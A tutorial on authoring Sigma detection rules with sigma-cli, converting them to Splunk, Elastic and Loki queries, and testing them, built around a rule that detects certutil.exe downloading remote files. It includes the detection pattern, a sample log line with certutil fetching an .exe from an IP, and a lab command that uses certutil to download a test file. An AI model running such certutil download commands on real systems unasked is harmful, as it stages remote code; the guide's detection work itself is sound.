HOWTOIntermediate

Write and Convert Sigma Detection Rules with sigma-cli

Author vendor-neutral Sigma rules, validate them, convert to Splunk, Elastic or Loki queries with pySigma pipelines, and test against sample logs before they hit production.

Dylan H.

Tutorials

November 30, 2026
6 min read
Write and Convert Sigma Detection Rules with sigma-cli

Introduction

Every SIEM has its own query language. A detection written for Splunk SPL has to be rewritten for Elastic KQL, again for Microsoft Sentinel, and again for Loki. Sigma solves this: it is an open, YAML-based rule format that describes what to look for in a log, independent of the platform. A converter then translates the rule into the backend you actually run.

This guide walks through installing sigma-cli, writing a rule from scratch, validating it, converting it to several backends with field-mapping pipelines, testing it against sample events, and managing a small rule repository in Git. The example rule detects certutil.exe being abused to download files, a common living-off-the-land technique.

Prerequisites

  • Python 3.9+ and pip (or pipx)
  • A SIEM to run the converted queries, or just a text editor if you only want to follow the conversion steps
  • Process-creation logging in place (Sysmon Event ID 1 or Windows Security 4688 with command line auditing)
  • Git for rule versioning

Command-line capture matters: most useful Sigma rules match on CommandLine, which Windows does not log by default for Event ID 4688.

Step 1: Install sigma-cli

Use an isolated environment so backend plugins do not collide with system packages.

python3 -m venv ~/sigma-env
source ~/sigma-env/bin/activate
pip install sigma-cli
sigma version

Backends and pipelines are separate plugins. List what is available, then install the ones you need:

sigma plugin list
sigma plugin install splunk
sigma plugin install elasticsearch
sigma plugin install loki
sigma plugin install sysmon

Step 2: Get the community rule set

The SigmaHQ repository holds thousands of maintained rules and is a good source of examples for your own authoring.

mkdir -p ~/detections && cd ~/detections
git clone --depth 1 https://github.com/SigmaHQ/sigma.git sigmahq
ls sigmahq/rules/windows/process_creation | head

Treat community rules as a starting point. Review and test each one against your own environment before enabling it.

Step 3: Write your own rule

Create rules/proc_creation_win_certutil_download.yml. Generate a fresh UUID for the id field with uuidgen.

title: Certutil Used To Download Remote File
id: 6b3c1e5a-4a7d-4f0e-9d3e-2f1c8a9b7c10
status: experimental
description: Detects certutil.exe fetching content from a URL, often used to stage malware.
references:
  - https://attack.mitre.org/techniques/T1105/
author: Dylan H.
date: 2026-11-30
tags:
  - attack.command-and-control
  - attack.t1105
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  selection_alt:
    CommandLine|contains: 'verifyctl'
  filter_known_good:
    ParentImage|startswith: 'C:\Program Files\KnownDeploymentTool\'
  condition: selection_img and (selection_cli or selection_alt) and not filter_known_good
falsepositives:
  - Software deployment tools that use certutil to fetch certificate lists
level: high

Key points:

  • logsource says which logs the rule applies to. The pipeline later maps it to a real index, table or field set.
  • Field modifiers such as |endswith, |contains and |contains|all express matching logic without regex.
  • Named selections plus a condition expression let you build filters for known-good activity.
  • Use status: experimental until the rule has run in your environment, then promote it to test and stable.

Step 4: Validate the rule

sigma check rules/

sigma check verifies YAML structure, required fields, tag formats and common mistakes. Fix every error before converting. Add --fail-on-issues to make this strict in CI.

Step 5: Convert to your backend

Splunk with the Sysmon pipeline:

sigma convert -t splunk -p sysmon rules/proc_creation_win_certutil_download.yml

Elastic (Lucene query) using the Elastic Common Schema pipeline:

sigma convert -t elasticsearch -p ecs_windows rules/proc_creation_win_certutil_download.yml

Loki LogQL:

sigma convert -t loki -p sysmon rules/proc_creation_win_certutil_download.yml

Convert a whole directory and write the output to a file:

sigma convert -t splunk -p sysmon -o splunk-queries.txt rules/

Custom pipelines

If your logs use non-default field names or index names, write a pipeline rather than editing each rule. Create pipelines/my-splunk.yml:

name: My Splunk index mapping
priority: 100
transformations:
  - id: set_index
    type: add_condition
    conditions:
      index: wineventlog_sysmon
    rule_conditions:
      - type: logsource
        category: process_creation
        product: windows
  - id: rename_fields
    type: field_name_mapping
    mapping:
      Image: process_path
      CommandLine: process_command_line

Use it by path:

sigma convert -t splunk -p pipelines/my-splunk.yml rules/

This keeps rules portable while all environment-specific details live in one reviewed file.

Step 6: Test against sample events

Never deploy a rule you have not fired. Build a tiny test set with one event that should match and one that should not:

{"Image":"C:\\Windows\\System32\\certutil.exe","CommandLine":"certutil -urlcache -f http://203.0.113.5/a.exe a.exe","ParentImage":"C:\\Windows\\System32\\cmd.exe"}
{"Image":"C:\\Windows\\System32\\certutil.exe","CommandLine":"certutil -hashfile report.pdf SHA256","ParentImage":"C:\\Windows\\System32\\cmd.exe"}

On a test Windows host (or lab VM) you can generate the real event, then check your SIEM for the converted query:

certutil -urlcache -f http://example.com/test.txt $env:TEMP\test.txt

Run the converted SPL or Lucene query over the last 15 minutes and confirm that exactly one hit appears and that the -hashfile benign call does not trigger it.

Step 7: Manage rules in Git with CI

Keep rules, pipelines and test data in one repository and gate changes on validation:

name: sigma-check
on: [pull_request]
jobs:
  check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install sigma-cli
      - run: sigma check --fail-on-issues rules/
      - run: sigma plugin install splunk sysmon
      - run: sigma convert -t splunk -p sysmon rules/ > /dev/null

Pin your actions to commit SHAs in a real repository, and let the pipeline fail the pull request when a rule does not parse or convert.

Verification

  • sigma check rules/ exits 0 with no issues.
  • Conversion for each target backend returns a query and no Unsupported errors.
  • The malicious test command produces exactly one alert in the SIEM; the benign certutil -hashfile produces none.
  • Each rule carries a date, status, level and at least one attack.* tag so coverage can be mapped to MITRE ATT&CK.

Troubleshooting

Unsupported field or Condition not supported errors. The pipeline does not know a field for that log source. Add a field_name_mapping transformation, or pick the correct built-in pipeline for your data.

Converted query returns nothing in the SIEM. Check that the index and field names match your ingest. Run a plain search on the sample event first, then add conditions one at a time to find the mismatch.

Rule works in test but is noisy in production. Add filter_* selections for known-good parents, paths or service accounts, and document them under falsepositives. Prefer narrow filters over lowering the rule level.

CommandLine is empty in events. Enable "Include command line in process creation events" in Group Policy, or deploy Sysmon with a config that logs Event ID 1.

Plugin not found. Make sure the virtual environment is active (which sigma), then re-run sigma plugin install <name>.

Summary

Sigma separates detection logic from platform syntax. With sigma-cli you can write a rule once, validate it, convert it for Splunk, Elastic or Loki through reusable pipelines, and test it against real events before it alerts anyone. Store the rules, pipelines and sample logs in Git with a CI check, and you have a repeatable detection engineering workflow that survives a change of SIEM.